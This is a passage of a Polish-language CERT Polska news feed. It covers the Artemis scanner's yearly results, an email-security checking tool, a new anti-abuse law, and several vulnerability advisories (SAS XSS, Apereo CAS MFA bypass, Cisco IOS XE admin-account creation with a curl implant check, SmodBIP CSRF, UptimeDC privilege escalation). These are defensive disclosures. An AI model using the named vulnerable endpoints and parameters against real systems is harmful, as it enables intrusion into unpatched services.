&lt;p&gt;SKW oraz CERT.PL pragną wyrazić podziękowania za współpracę podmiotom prywatnym, które udzieliły wymiernego wsparcia i podjęły skoordynowane z sektorem publicznym działania. Partnerstwo publiczno-prywatne jest jednym z najważniejszych oraz najskuteczniejszych mechanizmów przeciwdziałania zagrożeniom w cyberprzestrzeni. W szczególności SKW i CERT.PL pragną podziękować zespołowi bezpieczeństwa firmy Microsoft – po poinformowaniu, Microsoft wyłączył wszystkie zidentyfikowane konta usług wykorzystywane przez SVR jako kanały komunikacji i zarządzania. &lt;/p&gt;
&lt;p&gt;Szczegółowe opracowanie techniczne przygotowane przez Federalne Biuro Śledcze (FBI), Amerykańską Agencję Bezpieczeństwa Cybernetycznego i Infrastruktury (CISA), Narodową Agencję Bezpieczeństwa (NSA), Brytyjskie Narodowe Centrum Bezpieczeństwa Cybernetycznego (UK NCSC), Polską Służba Kontrwywiadu Wojskowego (SKW) oraz CERT Polska (CERT.PL) można znaleźć pod adresem: &lt;a href="https://www.gov.pl/attachment/f111510e-f9b6-40e7-b3f0-7cae28c8ff38"&gt;https://www.gov.pl/attachment/f111510e-f9b6-40e7-b3f0-7cae28c8ff38&lt;/a&gt;&lt;/p&gt;</content><category term="News"></category><category term="ostrzeżenie"></category><category term="podatność"></category><category term="apt29"></category></entry><entry><title>Artemis działa już rok - sprawdź efekty</title><link href="https://cert.pl/posts/2023/12/artemis-podsumowanie/" rel="alternate"></link><published>2023-12-13T09:00:00+02:00</published><updated>2023-12-13T09:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-12-13:/posts/2023/12/artemis-podsumowanie/</id><summary type="html">Rok 2023 to kolejne działania CERT Polska poprawiające bezpieczeństwo polskiego internetu. Jednym z zainicjowanych w tym czasie projektów był Artemis. Dwanaście miesięcy działania dało imponujące efekty - przeskanowaliśmy ponad 50 tys. domen i adresów IP, odkrywając blisko 180 tys. podatności lub błędnych konfiguracji.</summary><content type="html">&lt;p&gt;&lt;strong&gt;Rok 2023 to kolejne działania CERT Polska poprawiające bezpieczeństwo polskiego internetu. Jednym z zainicjowanych w tym czasie projektów był Artemis. Dwanaście miesięcy działania dało imponujące efekty - przeskanowaliśmy ponad 50 tys. domen i adresów IP, odkrywając blisko 180 tys. podatności lub błędnych konfiguracji.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Jak działa Artemis?&lt;/h2&gt;
&lt;p&gt;Artemis to narzędzie rozwijane przez zespół CERT Polska, a zapoczątkowane przez członków koła Politechniki Warszawskiej &lt;a href="https://kncyber.pl"&gt;KN Cyber&lt;/a&gt;. Przy jego pomocy badamy strony udostępnione w internecie w poszukiwaniu podatności bezpieczeństwa i błędów konfiguracyjnych. Regularne skanowanie systemów pozwala monitorować i podnosić ich poziom bezpieczeństwa. Uzyskane wyniki nie są w żaden sposób upubliczniane, a jedynie niezwłocznie przekazywane administratorom, dzięki czemu zyskują oni cenną wiedzę na temat wykrytych podatności i mogą wykorzystać ją w celu poprawy bezpieczeństwa systemów. Warto też dodać, że w ramach ponownych testów zespół CERT Polska sprawdza, czy zostały wdrożone niezbędne poprawki.&lt;/p&gt;
&lt;p&gt;Istotną cechą przygotowanego przez nas narzędzia jest to, że proces skanowania pozwala administratorom zidentyfikować obserwowane działania jako prowadzone przez CERT Polska. Pozwala to ograniczyć do minimum ewentualny stres i zagrożenia związane z pochopnym reagowaniem. Wszystkie istotne dla administratorów informacje zostały opisane na dedykowanej podstronie: &lt;a href="https://cert.pl/skanowanie/"&gt;https://cert.pl/skanowanie/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Rezultaty licznych skanowań, poza podnoszeniem poziomu bezpieczeństwa danego podmiotu, pozwalają też budować szerszy obraz cyberbezpieczeństwa Polski i kierować zasoby CERT Polska tam, gdzie są one najbardziej potrzebne, np. poprzez tworzenie poradników, czy prowadzenie akcji informacyjnych i edukacyjnych.&lt;/p&gt;
&lt;h2&gt;Co już wykrył Artemis?&lt;/h2&gt;
&lt;p&gt;Skanowanie trwa od początku stycznia. Blisko rok działania pozwala nam zebrać odpowiednią liczbę danych, by zmierzyć się z oceną działania Artemisa. A ta wypada pozytywnie.  Wyniki jednoznacznie wskazują na potrzebę istnienia takiego narzędzia, a zainteresowanie podmiotów świadczy o tym, że jest rozpoznawalne i cenione.&lt;/p&gt;
&lt;p&gt;Do 13 grudnia 2023 łącznie przeskanowano ok. 50.6 tys. domen i adresów IP oraz ok. 249.7 tys. subdomen, w tym m.in.:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ok. 36.9 tys. domen oraz ok. 25.7 tys. subdomen szkół i placówek oświatowych - skanowane były m.in. strony szkół podstawowych, ponadpodstawowych oraz policealnych, jak również domeny młodzieżowych domów kultury, przedszkoli czy poradni psychologiczno-pedagogicznych,&lt;/li&gt;
&lt;li&gt;ok. 5.4 tys. domen i adresów IP oraz ok. 93.3 tys. subdomen jednostek samorządu terytorialnego - skanowane były także np. strony spółek odpowiedzialnych za wywóz śmieci, jak również archiwalne domeny czy systemy obsługujące pocztę, jeśli znajdowały się w subdomenie danej gminy,&lt;/li&gt;
&lt;li&gt;890 domen i adresów IP oraz ok. 84.4 tys. subdomen uczelni - były to np. strony wydziałów, ale też domeny związane z konferencjami czy projektami naukowymi,&lt;/li&gt;
&lt;li&gt;521 domen oraz ok. 2.3 tys. subdomen banków,&lt;/li&gt;
&lt;li&gt;267 domen oraz ok. 34.1 tys. subdomen operatorów usług kluczowych.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Łącznie zgłoszono ok. 178 tys. podatności lub błędnych konfiguracji, w tym ok. 11.4 tys. wiążących się z wysokim zagrożeniem. Przynajmniej jedną podatność bądź błędną konfigurację wykryto w ponad 64 tys. przeskanowanych domen lub subdomen.&lt;/p&gt;
&lt;p&gt;Znaleźliśmy m.in.:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ok. 74.8 tys. przypadków korzystania z nieaktualnego oprogramowania - może to stwarzać ryzyko ataku przy użyciu znanych podatności. Warto pamiętać, że niektóre z podatności mogą skutkować tym, że ze strony można pobrać dane, inne pozwalają zmieniać treść, jeszcze inne - uzyskać uprawnienia administratora;&lt;/li&gt;
&lt;li&gt;ok. 43.3 tys. przypadków problemów z konfiguracją SSL/TLS, co powoduje ryzyko przechwycenia komunikacji użytkownika ze stroną, a jeżeli dane zostaną przechwycone i pojawił się tam login i hasło, to przestępca może je poznać i zalogować się do serwisu jako uprawniony użytkownik;&lt;/li&gt;
&lt;li&gt;ok. 26.4 tys. przypadków błędnie skonfigurowanych mechanizmów weryfikacji nadawcy poczty e-mail, co może pozwolić na wysyłanie fałszywych e-maili z danej domeny,&lt;/li&gt;
&lt;li&gt;ok. 5.4 tys. przypadków konkretnych krytycznych lub poważnych podatności umożliwiających np. przejęcie strony lub pobranie informacji z bazy danych.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Administratorzy skanowanych systemów na bieżąco otrzymują informacje o wykrytych podatnościach. Pozwala to na budowanie bezpieczniejszej cyberprzestrzeni i podniesienie bezpieczeństwa wszystkich użytkowników sieci, ponieważ podmioty nie są wybierane przypadkowo. Zależy nam, by nasze działania objęły możliwie szeroki zakres wynikający z ustawy o krajowym systemie cyberbezpieczeństwa.&lt;/p&gt;</content><category term="News"></category><category term="podsumowanie"></category><category term="artemis"></category><category term="skanowanie"></category></entry><entry><title>Podatność w oprogramowaniu SAS 9.4</title><link href="https://cert.pl/posts/2023/12/CVE-2023-4932/" rel="alternate"></link><published>2023-12-12T10:00:00+01:00</published><updated>2023-12-12T10:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-12-12:/posts/2023/12/CVE-2023-4932/</id><summary type="html">W oprogramowaniu SAS 9.4 wykryto podatność typu Reflected XSS (CVE-2023-4932).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu &lt;a href="https://support.sas.com/software/94/"&gt;SAS 9.4&lt;/a&gt; i koordynował proces ujawniania informacji. Atakujący może spreparować link, który – gdy zostanie użyty przez zalogowanego użytkownika – spowoduje wykonanie kodu JavaScript. Powodem jest niepoprawna walidacja parametru "_program" w endpoincie "/SASStoredProcess/do". Podatności nadany został identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-4932"&gt;CVE-2023-4932&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Testowane były jedynie wersje 9.4_M7 oraz 9.4_M8, dla których wydane zostały &lt;a href="https://support.sas.com/kb/70/265.html"&gt;hot fixy&lt;/a&gt; rozwiązujące problem. Poprzednie wersje również mogą być podatne, jednak nie zostało to potwierdzone. &lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Sławomirowi Zakrzewskiemu oraz Maksymilianowi Kubiakowi z firmy AFINE.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Apereo CAS</title><link href="https://cert.pl/posts/2023/11/CVE-2023-4612/" rel="alternate"></link><published>2023-11-03T07:00:00+01:00</published><updated>2023-11-03T07:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-11-03:/posts/2023/11/CVE-2023-4612/</id><summary type="html">W oprogramowaniu Apereo Central Authentication Service wykryto podatność pozwalającą na ominięcie wieloskładnikowego uwierzytelnienia (CVE-2023-4612).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu &lt;a href="https://www.apereo.org/projects/cas"&gt;Apereo CAS&lt;/a&gt; i uczestniczył w jej koordynacji. Podatność pozwala na ominięcie wieloskładnikowego uwierzytelnienia poprzez podszycie się pod urządzenie wcześniej zapisane jako zaufane. Podatności nadano identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-4612"&gt;CVE-2023-4612&lt;/a&gt; i dotyczy ona wszystkich wersji oprogramowania włącznie z 7.0.0-RC7. Nie wiadomo, czy w nowszych wersjach oprogramowania podatność zostanie usunięta. W momencie publikacji nie wydano stosownej aktualizacji. Producent oprogramowania nie rozpatruje błędu jako podatności i twierdzi, że jest to nieścisłość w dokumentacji.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Maksymowi Brzęczkowi z efigo.pl.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Aktywnie wykorzystywana krytyczna podatność w oprogramowaniu CISCO IOS XE (CVE-2023-20198)</title><link href="https://cert.pl/posts/2023/10/cisco-cve-2023-20198/" rel="alternate"></link><published>2023-10-20T14:00:00+01:00</published><updated>2023-10-20T14:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-10-20:/posts/2023/10/cisco-cve-2023-20198/</id><summary type="html">Firma Cisco opublikowała informację o krytycznej podatności CVE-2023-20198 w funkcjonalności Web User Interface oprogramowania Cisco IOS XE. Luka umożliwia nieautoryzowanemu złośliwemu użytkownikowi utworzenie konta administratora z poziomu interfejsu użytkownika i przejęcie kontroli nad urządzeniem docelowym.</summary><content type="html">&lt;p&gt;Firma Cisco opublikowała informację o krytycznej podatności &lt;a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z"&gt;CVE-2023-20198&lt;/a&gt; w funkcjonalności Web User Interface oprogramowania Cisco IOS XE. Luka umożliwia nieautoryzowanemu użytkownikowi &lt;strong&gt;utworzenie konta administratora z poziomu interfejsu użytkownika. Tym samym możliwe jest przejęcie kontroli nad urządzeniem docelowym&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Podatność była aktywnie używana w atakach od 18 września.&lt;/strong&gt; W oczekiwaniu na poprawki bezpieczeństwa, producent zaleca wyłączenie funkcji &lt;strong&gt;serwera HTTP&lt;/strong&gt; w systemach dostępnych z poziomu Internetu.&lt;/p&gt;
&lt;h1&gt;Szczegóły podatności i rekomendacje&lt;/h1&gt;
&lt;p&gt;Podatność dotyczy wszystkich wersji oprogramowania Cisco IOS XE, dla których włączona jest funkcjonalność web UI. &lt;/p&gt;
&lt;p&gt;Web UI jest wbudowanym narzędziem do zarządzania systemem, opartym na graficznym interfejsie użytkownika. Nie powinno być one dostępne z poziomu Internetu. &lt;/p&gt;
&lt;p&gt;Dzięki wykorzystaniu podatności w systemie, atakujący ma możliwość utworzenia nowego konta administratora, które w dalszych krokach służy do utworzenia implantu, który składa się z pliku konfiguracyjnego &lt;strong&gt;cisco_service.conf&lt;/strong&gt;. Plik ten definiuje nowy punkt końcowy serwera WWW, używany do interakcji z implantem. Aby implant stał się aktywny, serwer sieciowy musi zostać ponownie uruchomiony. Punkt końcowy przyjmuje określone parametry, które umożliwiają atakującemu wykonanie dowolnych poleceń na poziomie systemu.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Firma Cisco rekomenduje natychmiastowe wyłączenie funkcji serwera HTTP dla wszystkich instancji Cisco IOS XE dostępnych z Internetu.&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Wykrycie prób wykorzystania podatności&lt;/h1&gt;
&lt;p&gt;Firma Cisco rekomenduje wszystkim organizacjom, które mogą być dotknięte atakiem, natychmiastowe wdrożenie działań na podstawie &lt;a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z"&gt;poradnika Cisco Product Security Incident Response Team PSIRT&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Organizacje powinny zweryfikować, czy nie zostały utworzone nowe konta użytkowników, które nie są znane administratorom sieci. W dalszej kolejności należy zbadać, czy nie został wprowadzony do systemu &lt;a href="https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/"&gt;implant&lt;/a&gt;, można tego dokonać wykonując polecenie ze stacji roboczej, posiadającej dostęp do systemu:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;curl -k -X POST "https://systemip/webui/logoutconfirm.html?logon_hash=1"&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;W przypadku gdy w odpowiedzi zwracany jest ciąg heksadecymalny, wówczas świadczy to o wprowadzeniu implantu do systemu przez atakującego.&lt;/p&gt;
&lt;p&gt;W przypadku wykrycia prób wykorzystania podatności, zalecamy niezwłoczną weryfikację logów, a następnie rozpoczęcie procedury obsługi incydentu oraz skontaktowanie się z właściwym zespołem CSIRT:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://incydent.cert.pl/"&gt;CSIRT NASK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://csirt.gov.pl/cer/zgloszenie-incydentu/16,Zgloszenie-incydentu-do-CSIRT-GOV.html"&gt;CSIRT GOV&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://csirt-mon.wp.mil.pl/pl/pages/zgloszenie-incydentu/"&gt;CSIRT MON&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="News"></category><category term="ostrzeżenie"></category><category term="podatność"></category><category term="cisco"></category></entry><entry><title>Podatność w oprogramowaniu SmodBIP</title><link href="https://cert.pl/posts/2023/10/CVE-2023-4837/" rel="alternate"></link><published>2023-10-10T20:00:00+01:00</published><updated>2023-10-10T20:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-10-10:/posts/2023/10/CVE-2023-4837/</id><summary type="html">W oprogramowaniu SmodBIP wykryto podatność CSRF (CVE-2023-4837).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł podatność typu Cross-Site Request Forgery (CSRF) w oprogramowaniu &lt;a href="https://smod.pl/"&gt;SmodBIP&lt;/a&gt;, której nadano identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-4837"&gt;CVE-2023-4837&lt;/a&gt;. 
Atakujący może spreparować link, który gdy zostanie kliknięty przez administratora, wykona dowolną operację z jego uprawnieniami. Może to być na przykład dodanie drugiego konta administratora, dzięki czemu atakujący uzyska pełen dostęp administracyjny do serwisu.&lt;/p&gt;
&lt;p&gt;SmodBIP nie jest już utrzymywany i nie należy oczekiwać, aby ta luka w zabezpieczeniach została usunięta. Podatne są potencjalnie wszystkie wersje oprogramowania – testy przeprowadzone zostały na najnowszej, tj. 2.21.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Uptime DC</title><link href="https://cert.pl/posts/2023/10/CVE-2023-4997/" rel="alternate"></link><published>2023-10-05T20:00:00+01:00</published><updated>2023-10-05T20:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-10-05:/posts/2023/10/CVE-2023-4997/</id><summary type="html">W oprogramowaniu UptimeDC firmy ProIntegra S.A wykryto podatność pozwalającą na eskalację uprawnień (CVE-2023-4997).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu &lt;a href="https://uptime-dc.com/"&gt;UptimeDC&lt;/a&gt; i uczestniczył w jej koordynacji. Podatność pozwala każdemu zalogowanemu użytkownikowi zmienić hasło na kontach innych użytkowników (w tym administratorów), w efekcie czego możliwa była eskalacja uprawnień. Podatność, której nadano identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-4997"&gt;CVE-2023-4997&lt;/a&gt;, została potwierdzona przez producenta i naprawiona w wersji 2.0.0.33940.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Antoniemu Kwietniewskiemu z Alior Banku.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>CERT Polska poprawia bezpieczeństwo poczty elektronicznej</title><link href="https://cert.pl/posts/2023/09/bezpiecznapoczta/" rel="alternate"></link><published>2023-09-15T09:30:00+02:00</published><updated>2023-09-15T09:30:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-09-15:/posts/2023/09/bezpiecznapoczta/</id><summary type="html">W CERT Polska stale pracujemy nad narzędziami które poprawiają bezpieczeństwo użytkowników internetu w Polsce. Właśnie dlatego stworzyliśmy serwis bezpiecznapoczta.cert.pl, którego celem jest ochrona użytkowników poczty elektronicznej i&amp;nbsp;ułatwienie instytucjom sprawdzenia poprawności konfiguracji mechanizmów podnoszących jej bezpieczeństwo.</summary><content type="html">&lt;p&gt;W CERT Polska stale pracujemy nad narzędziami które poprawiają bezpieczeństwo użytkowników internetu w Polsce.
Właśnie dlatego stworzyliśmy serwis &lt;a href="https://bezpiecznapoczta.cert.pl/"&gt;bezpiecznapoczta.cert.pl&lt;/a&gt;,
którego celem jest ochrona użytkowników poczty elektronicznej i ułatwienie instytucjom sprawdzenia poprawności
konfiguracji mechanizmów podnoszących jej bezpieczeństwo.&lt;/p&gt;
&lt;p&gt;Główne funkcjonujące dziś instrumenty weryfikacji nadawcy poczty to: &lt;a href="/posts/2021/10/mechanizmy-weryfikacji-nadawcy-wiadomosci/"&gt;SPF,
DMARC i DKIM&lt;/a&gt;. Jeżeli instytucja nie ma ich poprawnie skonfigurowanych, naraża się na znaczące ryzyko. Daje bowiem
cyberprzestępcom możliwość wysyłania fałszywych wiadomości, w których mogą oni podszyć się pod dowolnego nadawcę
z domeny tego podmiotu. Właśnie dlatego niektórzy dostawcy poczty traktują e-maile przychodzące z domen
niewykorzystujących tych mechanizmów jako spam.&lt;/p&gt;
&lt;p&gt;Warto zaznaczyć, że używanie mechanizmów SPF, DKIM i DMARC nie wymaga dodatkowej pracy od użytkownika poczty – jeśli
administrator je skonfiguruje, wiadomości są weryfikowane automatycznie.&lt;/p&gt;
&lt;h2&gt;Nowy obowiązek prawny&lt;/h2&gt;
&lt;p&gt;25 sierpnia została opublikowana &lt;a href="https://isap.sejm.gov.pl/isap.nsf/download.xsp/WDU20230001703/T/D20231703L.pdf"&gt;
ustawa z dnia 28 lipca 2023 r. o zwalczaniu nadużyć w komunikacji elektronicznej&lt;/a&gt;. Wśród
&lt;a href="/posts/2023/09/uznke/"&gt;innych istotnych rozwiązań&lt;/a&gt;, znajdziemy w niej także obowiązek stosowania mechanizmów
umożliwiających weryfikację nadawcy wiadomości e-mail. Zapisy te dotyczą dostawców poczty, którzy świadczą usługi dla:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;co najmniej 500 000 użytkowników poczty lub&lt;/li&gt;
&lt;li&gt;dla podmiotu publicznego.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Jeżeli w aktualnej ofercie pocztowej, z której korzysta podmiot publiczny, istnieje możliwość skonfigurowania mechanizmów
ochrony poczty lub poczta jest obsługiwana samodzielnie, to podmiot publiczny ma &lt;strong&gt;30 dni&lt;/strong&gt;, liczone od 25 sierpnia, na
wprowadzenie ich w życie.&lt;/p&gt;
&lt;h2&gt;W czym pomoże narzędzie bezpiecznapoczta.cert.pl&lt;/h2&gt;
&lt;p&gt;Nasze narzędzie pozwala w prosty sposób sprawdzić konfigurację mechanizmów SPF, DKIM i DMAC poprzez podanie domeny, lub
wysłanie wiadomości na dedykowany adres mailowy.&lt;/p&gt;
&lt;p&gt;&lt;img src="/uploads/2023/09/bezpiecznapoczta-screenshot.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Rekomendowaną przez nas ścieżką jest wysyłka wiadomości, bo pozwoli to na sprawdzenie wszystkich trzech mechanizmów.
W przypadku podania jedynie domeny, nie ma możliwości sprawdzenia konfiguracji mechanizmu DKIM.&lt;/p&gt;
&lt;p&gt;Odpowiedź na pytanie jak działają i w jaki sposób można poprawnie skonfigurować mechanizmy SPF, DMARC i DKIM znajduje
się w przygotowanym przez nas artykule: &lt;a href="/posts/2021/10/mechanizmy-weryfikacji-nadawcy-wiadomosci/"&gt;
mechanizmy weryfikacji nadawcy wiadomości&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Warto pamiętać, że domeny niesłużące do wysyłki wiadomości też powinny posiadać poprawną konfigurację SPF i DMARC,
aby ograniczyć ryzyko podszycia się pod nie. Takie domeny też sprawdzicie używając naszego narzędzia.&lt;/p&gt;
&lt;p&gt;Narzędzie CERT Polska jest dostępne na stronie &lt;a href="https://bezpiecznapoczta.cert.pl/"&gt;https://bezpiecznapoczta.cert.pl/&lt;/a&gt;.&lt;br/&gt;
Pytania i wątpliwości można przesyłać na adres: &lt;a href="mailto:bezpiecznapoczta@cert.pl"&gt;bezpiecznapoczta@cert.pl&lt;/a&gt;.&lt;/p&gt;</content><category term="News"></category><category term="informacja"></category><category term="bezpiecznapoczta"></category><category term="e-mail"></category></entry><entry><title>Ustawa o zwalczaniu nadużyć w komunikacji elektronicznej</title><link href="https://cert.pl/posts/2023/09/uznke/" rel="alternate"></link><published>2023-09-12T12:00:00+01:00</published><updated>2023-09-12T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-09-12:/posts/2023/09/uznke/</id><summary type="html">25 sierpnia została ogłoszona ustawa z dnia 28 lipca 2023r. o zwalczaniu nadużyć w komunikacji elektronicznej (Dz. U. poz. 1703)</summary><content type="html">&lt;h1&gt;Co zmieni się po wejściu w życie ustawy?&lt;/h1&gt;
&lt;p&gt;Zacznijmy od najważniejszej kwestii, czyli nadużycia w komunikacji elektronicznej. Zanim będzie można je zwalczać, należy precyzyjnie określić co jest niedozwolone. Ustawa wprowadza więc następującą definicję:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Nadużycie w komunikacji elektronicznej – świadczenie lub korzystanie z usługi telekomunikacyjnej lub korzystanie z urządzeń telekomunikacyjnych niezgodnie z ich przeznaczeniem lub przepisami prawa,
których celem lub skutkiem jest wyrządzenie szkody przedsiębiorcy telekomunikacyjnemu lub użytkownikowi końcowemu lub osiągnięcie nienależnych korzyści dla podmiotu dopuszczającego się nadużycia w
komunikacji elektronicznej, innej osoby fizycznej, osoby prawnej lub jednostki organizacyjnej nieposiadającej osobowości prawnej&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Ustawodawca dodaje także przepisy karne umieszczone w artykułach od 29 do 32, które za powyższe przestępstwo ustanawiają karę pozbawienia wolności od 3 miesięcy do 5 lat. W szczególnych wypadkach mniejszej wagi, kara może zostać zmniejszona do grzywny, kary ograniczenia wolności lub pozbawienia wolności do roku.&lt;/p&gt;
&lt;h1&gt;Ale co z tym zwalczaniem?&lt;/h1&gt;
&lt;p&gt;Skoro już ustaliliśmy definicję nadużycia, możemy przejść do jego konkretnych wariantów, którym ma przeciwdziałać nowa ustawa:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#phishing"&gt;phishing&lt;/a&gt;,&lt;/li&gt;
&lt;li&gt;&lt;a href="#smishing"&gt;dystrybucja smishingu&lt;/a&gt;,&lt;/li&gt;
&lt;li&gt;&lt;a href="#email"&gt;spoofing e-mail&lt;/a&gt;,&lt;/li&gt;
&lt;li&gt;&lt;a href="#cli"&gt;CLI spoofing&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Edukacja to istotna forma walki z zagrożeniami. Równie ważne jest jednak ograniczenie rozprzestrzeniania się oszustwa, czyli spowodowanie, że dotrze ono do jak najmniejszej liczby osób. Przykładem są wykorzystywane od lat mailowe filtry antyspamowe. Ustawa wprowadza podobne mechanizmy w odniesieniu do wskazanych powyżej poularnych zagrożeń. W dalszej części artykułu zostaną one przybliżone.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wszystkie terminy w artykule są liczone od dnia ogłoszenia ustawy, czyli 25 sierpnia.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a name="phishing"&gt;&lt;/a&gt;Co się zmienia w walce z phishingiem?&lt;/h2&gt;
&lt;p&gt;Phishing, czyli strony internetowe wyłudzające dane to zdecydowanie najpoważniejsze zagrożenie występujące w Polsce. Statystyki przedstawione &lt;a href="https://cert.pl/uploads/docs/Raport_CP_2022.pdf"&gt;w raporcie za rok 2022&lt;/a&gt; wskazują, że 65% zarejestrowanych przez nas incydentów
dotyczy tego zjawiska.&lt;/p&gt;
&lt;p&gt;Ustawa o zwalczaniu nadużyć w komunikacji elektronicznej przewiduje umocowanie prawne działającego już od marca 2020 roku projektu &lt;a href="https://cert.pl/posts/2020/03/ostrzezenia_phishing/"&gt;Listy ostrzeżeń&lt;/a&gt;. Lista pozwala dostawcom internetu, którzy zawrą porozumienie z Ministerstwem Cyfryzacji, NASK - Państwowym Instytutem Badawczym oraz Urzędem Komunikacji Elektronicznej, na blokowanie ruchu do stron phishingowych na poziomie serwerów DNS.&lt;/p&gt;
&lt;p&gt;Lista ostrzeżeń jest projektem, który skutecznie zmniejsza efekty kampanii phishingowych w Polsce. Od początku jej działania zablokowano &lt;strong&gt;47 mln&lt;/strong&gt; prób wejść na ponad 54 tys. złośliwych domen.&lt;/p&gt;
&lt;h2&gt;&lt;a name="smishing"&gt;&lt;/a&gt;Jak powstrzymać smishing?&lt;/h2&gt;
&lt;p&gt;Smishing, czyli dystrybucja linków do stron phishingowych w SMS-ach, to potężne narzędzie w rękach przestępców. Od początku tego roku przyjęliśmy prawie 50 tys. zgłoszeń wiadomości, które prowadziły do oszustwa.&lt;/p&gt;
&lt;p&gt;Blokowanie tego zjawiska zostało rozbite na dwa aspekty. Pierwszym z nich jest prowadzenie przez CSIRT NASK wykazu wzorców złośliwych wiadomości. Operatorzy będą mieli obowiązek zablokowania wiadomości przychodzącej, jeżeli pokryje się ona z jakimkolwiek wzorcem znajdującym się w wykazie. Każdy wzorzec musi zostać upubliczniony w terminie &lt;strong&gt;od 14 do 21 dni&lt;/strong&gt; od pojawienia się w wykazie.&lt;/p&gt;
&lt;p&gt;Drugim elementem jest walka z częstym wykorzystywaniem w oszustwach spraw urzędowych m.in. zwrotu podatku czy opłaty mandatu. W tym celu zostanie wprowadzona ochrona wykorzystywanych przez podmioty publiczne nadpisów nadawcy SMS. Ten proces składa się z 2 elementów:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;stworzenia wykazu zastrzeżonych nadpisów SMS oraz ich złośliwych wariantów,&lt;/li&gt;
&lt;li&gt;listy integratorów usług SMS świadczących usługi dla podmiotów publicznych, prowadzonej przez Urząd Komunikacji Elektronicznej.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Na listę nadpisów będzie się składać jawny element w postaci wykorzystywanego nadpisu zastrzeżonego przez podmiot publiczny wraz z nazwą tego podmiotu oraz utajniona lista złośliwych wariantów tego nadpisu. Taki podział ma na celu z jednej strony udostępnienie obywatelom listy nadpisów, którym mogą zaufać, przy jednoczesnym nieudostępnianiu nadmiernych informacji przestępcom.&lt;/p&gt;
&lt;p&gt;Nowa ustawa wprowadza także w tym kontekście pewne obowiązki dla przedsiębiorców telekomunikacyjnych. Będą oni musieli:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;blokować wiadomości SMS z nadpisem będącym w grupie złośliwych wariantów,&lt;/li&gt;
&lt;li&gt;blokować wiadomości SMS z nadpisem dozwolonym, jeżeli nie zostały wysłane przez integratora usług SMS będącego na liście UKE.&lt;/li&gt;
&lt;/ul&gt;
